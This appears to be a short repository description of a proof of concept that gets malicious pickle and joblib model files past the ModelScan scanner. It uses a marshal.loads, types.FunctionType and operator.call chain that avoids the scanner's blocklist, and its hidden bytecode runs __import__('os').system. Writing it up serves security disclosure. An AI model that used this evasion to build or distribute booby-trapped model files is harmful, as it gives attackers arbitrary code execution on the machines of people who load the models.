xiaoyaoes/modelscan-marshal-types-bypass-poc

ModelScan Bypass PoC: marshal.loads() + types.FunctionType() + operator.call()

This bypass uses a unique code execution chain:

code = marshal.loads(BYTES)           # marshal ∉ blocklist ✅  
func = types.FunctionType(code, {}, "x")  # types ∉ blocklist ✅
func()                                 # operator.call ∉ blocklist ✅

The marshalled bytecode calls __import__('os').system('cmd') internally.
No exec/eval/compile/getattr/apply/open used anywhere in the pickle.
No builtins module needed (empty globals dict auto-resolves builtins).

Size: 330 bytes (.pkl) / 354 bytes (.joblib)